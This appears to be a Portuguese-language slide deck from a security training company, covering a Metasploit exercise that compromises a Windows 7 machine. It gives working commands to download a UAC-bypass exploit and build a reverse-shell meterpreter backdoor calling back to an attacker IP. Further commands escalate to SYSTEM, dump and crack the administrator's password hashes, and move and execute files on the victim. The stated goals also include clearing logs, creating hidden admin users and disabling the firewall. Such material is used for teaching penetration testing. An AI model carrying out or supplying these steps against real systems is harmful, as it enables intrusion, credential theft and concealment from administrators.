eSecurity

Treinamentos em Segurança da Informação

O que temos pra hoje?

Temas de Hoje:

- **Metasploit: Exercício**
  - Objetivo
  - O UAC segundo a Microsoft
  - Invadindo Windows 7
  - Escalando privilégios usando modo básico
  - Escalando privilégios usando ByPassUAC
  - Capturando e quebrando ADMIN HASH
  - Manipulando arquivos

Metasploit

Metasploit: Objetivo

O objetivo deste exercício é realizar a invasão em uma máquina com Windows 7, realizar a escalação de privilégios, coletar o hash de senha do administrador e realizar a limpeza de logs, além de criar usuários administrativos e parar o serviço ativo do firewall.

Antes disso, é necessário o download no Kali de um exploit chamado ByPassUAC.

```
wget https://www.trustedsec.com//files/bypassuac.zip
```

Descompacte-o usando o unzip

```
unzip bypassuac
```

Depois copie os arquivos em suas respectivas pastas:

```
cp bypassuac.rb  /usr/share/metasploit-framework/scripts/meterpreter/
mv uac /usr/share/metasploit-framework/data/exploits/
```

Metasploit: O UAC segundo a MS

O Controle da Conta de Usuário (UAC) pode ajudar a impedir alterações não autorizadas no seu computador.

O UAC o notificará quando forem feitas alterações no computador que exijam permissão em nível de administrador.

Esses tipos de alterações podem afetar a segurança do computador ou podem afetar as configurações de outras pessoas que usam o computador.

Recomendamos manter o UAC ativo para ajudar a proteger o computador.

Metasploit: Invadindo Windows 7

Agora, temos que realizar a invasão, usaremos um payload simples para realizar esta tarefa.

```
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 X > /var/www/backdoor.exe
```

Agora iniciaremos nosso metasploit em modo listener

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.8
set LPORT 4444
exploit
```

Metasploit: Escalando privilégios

Depende muito das atualizações de segurança que você possui na sua máquina, em alguns casos é muito fácil escalar os privilégios, em outros, teremos que explorar o UAC.

Para ver o usuário corrente há duas maneiras:
1. No meterpreter use o comando getuid
2. No Shell use o comando whoami

Depois é importante ativar o modulo de privilégios:
No meterpreter use o comando use priv

Tente agora utilizar o comando getsystem no meterpreter e a mensagem got system (via technique 1) é exibida. Caso sim, tudo funcionou perfeitamente e você não precisará dos passos seguintes.

Você também pode usar a opção getsystem –h para ver técnicas diferentes

Caso não tenha dado certo, vamos tentar de outra maneira.

Metasploit: Escalando privilégios

Quando há patches de correção que não deixa a escalação de privilégios, podemos utilizar o programa que baixamos no começo desta apresentação.

Como ele já está nas pastas corretas para execução automática, basta digitar o comando abaixo:

run bypassuac

O meterpreter irá abrir uma nova sessão, basta digitar o comando background para sair da sessão atual e sessions –i [número da nova sessão] para utilizamos a sessão criada pelo bypassuac

Na nova sessão, execute novamente o comando getsystem e veja se a mensagem ...got system (via technique 1) aparece.
Caso positivo, utilize o comando getuid para ver se você está utilizando o usuário de autoridade de sistema: Server username: AUTORIDADE NT\SISTEMA

Metasploit: Quebrando ADMIN HASH

Após realizar a escalação de privilégios, podemos capturar o hash das senhas da máquina, mais precisamente, do administrador.

Isso fará com que não tenhamos que alterar a senha e assim, despertar estranheza no administrador.

Execute o comando para captura de hash:

```
run post/windows/gather/hashdump
```

Após esse processo, copiamos o hash e salvamos em um arquivo para depois quebra-lo com o John the Ripper.

```
john --format=nt2 arquivo_com_hash.txt
```

Metasploit: Manipulando Arquivos

Agora iremos descobrir como manipular arquivos, seja ele enviando, recebendo ou executando na máquina da vítima.

Envia um arquivo à máquina da vítima

```
upload /etc/passwd  c:\\
```

Efetua o download de algum arquivo da vitima

```
download c:\\Windows\\System32\\calc.exe
```

Executa um arquivo na máquina da vítima

```
execute -f c:\\Windows\\System32\\calc.exe
```

printf ("\Chega por hoje\n");

www.eSecurity.com.br

E-mail: alan.sanches@esecurity.com.br

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker